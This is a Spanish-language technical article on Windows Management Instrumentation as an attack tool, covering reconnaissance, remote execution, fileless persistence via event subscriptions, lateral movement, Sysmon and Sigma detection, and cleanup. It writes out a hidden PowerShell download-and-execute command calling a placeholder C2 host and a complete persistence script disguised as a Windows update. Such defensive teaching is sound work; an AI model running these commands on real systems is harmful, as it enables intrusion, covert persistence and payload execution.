WMI como Vector de Ataque y Persistencia en Windows
Análisis técnico de Windows Management Instrumentation (WMI) como herramienta ofensiva. Ejecución remota, persistencia via Event Subscriptions, reconocimiento de red, movimiento lateral y estrategias de detección con Sysmon y ETW.
WMI: la navaja suiza del atacante que ya viene instalada
WMI está presente en cada instalación de Windows desde Windows 2000. No necesita instalarse, no es una herramienta de terceros, y es una parte integral de la gestión del sistema. Los administradores lo usan para inventario, monitorización y automatización. Los atacantes lo usan para reconocimiento, ejecución remota, persistencia y movimiento lateral.
La ventaja para el atacante: WMI es un componente legítimo que no se puede desinstalar sin romper funcionalidad del sistema. Bloquear WMI completamente causaría problemas operativos. Los defensores deben monitorizar su uso, no bloquearlo.
Reconocimiento con WMI
WMI proporciona acceso a una cantidad enorme de información del sistema:
| Query WMI | Información obtenida | Uso ofensivo |
|---|---|---|
SELECT * FROM Win32_ComputerSystem | Nombre, dominio, modelo, RAM | Identificar el sistema |
SELECT * FROM Win32_OperatingSystem | OS, versión, build, architecture | Seleccionar payload adecuado |
SELECT * FROM Win32_Process | Procesos en ejecución | Buscar AV/EDR para evadir |
SELECT * FROM Win32_Service | Servicios instalados | Buscar servicios de seguridad |
SELECT * FROM Win32_UserAccount | Cuentas de usuario | Enumerar usuarios para escalada |
SELECT * FROM Win32_NetworkAdapterConfiguration | IPs, DNS, DHCP, gateway | Mapear la red |
SELECT * FROM Win32_LogicalDisk | Discos, tamaño, espacio libre | Identificar targets para ransomware |
SELECT * FROM Win32_Share | Shares de red | Identificar shares para movimiento lateral |
SELECT * FROM AntiVirusProduct (WMI SecurityCenter2) | Antivirus instalado | Evadir o desactivar |
Ejemplo: reconocimiento completo en una línea
wmic /namespace:\\root\cimv2 path Win32_ComputerSystem get Name,Domain,DomainRole,TotalPhysicalMemory /format:list
Ejecución remota con WMI (T1047)
Via wmic.exe
wmic /node:192.168.1.100 /user:DOMAIN\admin /password:P@ssw0rd process call create "cmd.exe /c whoami > C:\temp\output.txt"
Via PowerShell
Invoke-WmiMethod -ComputerName 192.168.1.100 -Class Win32_Process -Name Create -ArgumentList "powershell.exe -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')"
Via CIM (moderno, reemplaza WMI cmdlets)
Invoke-CimMethod -ComputerName 192.168.1.100 -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="payload.exe"}
Características de la ejecución remota WMI
| Aspecto | Detalle |
|---|---|
| Puerto | TCP 135 (RPC Endpoint Mapper) + puertos dinámicos |
| Autenticación | NTLM o Kerberos (credenciales de admin remoto) |
| Proceso padre en el destino | WmiPrvSE.exe (WMI Provider Host) |
| Visibilidad en el destino | El comando aparece como hijo de WmiPrvSE.exe |
| Artefactos en disco (destino) | Ninguno por defecto (el comando se ejecuta en memoria) |
| Logs | Event ID 4688 con WmiPrvSE como parent |
Detección de ejecución remota
El indicador más fuerte: cualquier proceso hijo de WmiPrvSE.exe que no sea un proceso WMI legítimo.
Procesos hijos legítimos de WmiPrvSE.exe: scrcons.exe (script consumer), mofcomp.exe. Cualquier otro proceso (cmd.exe, powershell.exe, payload.exe) es altamente sospechoso.
WMI Event Subscriptions: persistencia fileless (T1546.003)
Concepto
Las WMI Event Subscriptions son el mecanismo de persistencia WMI más potente. Consisten en tres componentes:
| Componente | Función | Ejemplo |
|---|---|---|
| Event Filter | Define qué evento dispara la acción | "Cada vez que un usuario inicia sesión" |
| Event Consumer | Define qué acción ejecutar | "Ejecutar C:\payload.exe" |
| Filter-to-Consumer Binding | Vincula el filter con el consumer | Une el trigger con la acción |
Estos tres componentes se almacenan en el repositorio WMI (C:\Windows\System32\wbem\Repository\OBJECTS.DATA), no en el registro. Son persistentes (sobreviven al reinicio) y difíciles de descubrir con herramientas estándar.
Tipos de Event Consumer
| Tipo | Clase WMI | Acción |
|---|---|---|
| CommandLineEventConsumer | CommandLineEventConsumer | Ejecuta un comando (cmd.exe, powershell.exe, etc.) |
| ActiveScriptEventConsumer | ActiveScriptEventConsumer | Ejecuta un script VBScript o JScript |
| LogFileEventConsumer | LogFileEventConsumer | Escribe en un archivo de log |
| NTEventLogEventConsumer | NTEventLogEventConsumer | Escribe en el Event Log |
| SMTPEventConsumer | SMTPEventConsumer | Envía un email |
Los dos primeros son los usados por malware. CommandLineEventConsumer es el más directo; ActiveScriptEventConsumer permite ejecutar scripts completos sin archivos en disco.
Ejemplo: persistencia con WMI Event Subscription
# Crear Event Filter (trigger: login de usuario)
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = 'WindowsUpdateFilter'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
}
# Crear Event Consumer (accion: ejecutar payload)
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = 'powershell.exe -ep bypass -w hidden -f C:\ProgramData\update.ps1'
}
# Crear Binding (vincular trigger con accion)
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
}
Este ejemplo ejecuta un script PowerShell aproximadamente 2 minutos después de cada arranque del sistema.
Por qué es sigiloso
- No modifica Run keys, services, ni scheduled tasks
- Los componentes se almacenan en el repositorio WMI (OBJECTS.DATA), no en el registro
- No aparece en Autoruns (versiones antiguas; versiones recientes lo muestran)
- El proceso que ejecuta la acción es
scrcons.exe(WMI Script Consumer) oWmiPrvSE.exe, ambos legítimos - No genera eventos de creación de servicio ni de scheduled task
Detección de WMI Event Subscriptions
| Método | Detalle |
|---|---|
| Sysmon Event ID 19 | WmiEventFilter activity detected |
| Sysmon Event ID 20 | WmiEventConsumer activity detected |
| Sysmon Event ID 21 | WmiEventConsumerToFilter activity detected |
| PowerShell query | Get-WmiObject -Namespace root\subscription -Class __EventFilter |
| PowerShell query | Get-WmiObject -Namespace root\subscription -Class __EventConsumer |
| PowerShell query | Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
| ETW | Provider Microsoft-Windows-WMI-Activity |
| Autoruns | Tab "WMI" (versiones recientes) |
Regla Sigma
title: WMI Event Subscription Created
id: d1234567-e2f3-a4b5-c678-9def01234567
status: stable
logsource:
category: wmi_event
product: windows
detection:
selection:
EventID:
- 19
- 20
- 21
condition: selection
level: high
tags:
- attack.persistence
- attack.t1546.003
falsepositives:
- Some legitimate software uses WMI subscriptions (SCCM, monitoring tools)
WMI para movimiento lateral
Patrón de ataque
1. Obtener credenciales (Mimikatz, Kerberoasting)
2. wmic /node:TARGET process call create "payload"
(o Invoke-WmiMethod via PowerShell)
3. El payload se ejecuta en TARGET como hijo de WmiPrvSE.exe
4. No hay archivo transferido: el payload se descarga desde C2 o se ejecuta en memoria
Comparativa: WMI vs PsExec vs WinRM
| Aspecto | WMI | PsExec | WinRM |
|---|---|---|---|
| Puerto | 135 + dinámicos | 445 (SMB) | 5985/5986 |
| Servicio creado en destino | No | Sí (PSEXESVC) | No |
| Archivo en disco del destino | No (ejecución en memoria) | Sí (PSEXESVC.exe) | No |
| Proceso padre en destino | WmiPrvSE.exe | services.exe | wsmprovhost.exe |
| Logs generados | Event ID 4688 | Event ID 7045 + 4688 | Event ID 4688 + WinRM logs |
| Detección por EDR | Media | Alta | Media |
WMI es preferido por los atacantes porque no crea servicios ni archivos en el sistema destino.
Eliminación de WMI Event Subscriptions
Para IR: cómo limpiar persistencia WMI:
# Listar todas las subscriptions
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Eliminar una subscription especifica
Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='WindowsUpdateFilter'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='WindowsUpdateConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -match 'WindowsUpdateFilter'} | Remove-WmiObject
Mapeo MITRE ATT&CK
| Técnica | ID | Uso de WMI |
|---|---|---|
| Windows Management Instrumentation | T1047 | Ejecución de comandos local y remota |
| WMI Event Subscription | T1546.003 | Persistencia via event subscriptions |
| Remote Services | T1021 | Movimiento lateral via WMI remoto |
| System Information Discovery | T1082 | Reconocimiento del sistema |
| Process Discovery | T1057 | Enumeración de procesos |
| Software Discovery | T1518 | Identificar software instalado (AV) |
Fuentes y referencias
- Microsoft. "Windows Management Instrumentation." Microsoft Docs.
- Ballenthin, W. & Graeber, M. "Windows Management Instrumentation (WMI) Offense, Defense, and Forensics." FireEye, 2015.
- MITRE ATT&CK. "Windows Management Instrumentation (T1047)." https://attack.mitre.org/techniques/T1047/
- MITRE ATT&CK. "WMI Event Subscription (T1546.003)." https://attack.mitre.org/techniques/T1546/003/
- Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 2017.
- Red Canary. "WMI Detection in the 2024 Threat Landscape." Red Canary, 2024.
- Mandiant. "APT29 WMI Persistence." Mandiant Intelligence.
- SigmaHQ. "WMI Event Subscription Rules." https://github.com/SigmaHQ/sigma
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Scheduled Tasks y COM Hijacking: Persistencia Avanzada en Windows
Fileless Malware en Windows: PowerShell, .NET y WMI como Armas
Windows API Calls Más Usadas por Malware: Guía de Referencia para Analistas
Persistencia WMI y Event Subscription: Hunting en el SOC
Registro de Windows en Memoria: hivelist, printkey y Extraccion de Artefactos
LockBit 3.0: Incident Response Completo de Principio a Fin
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.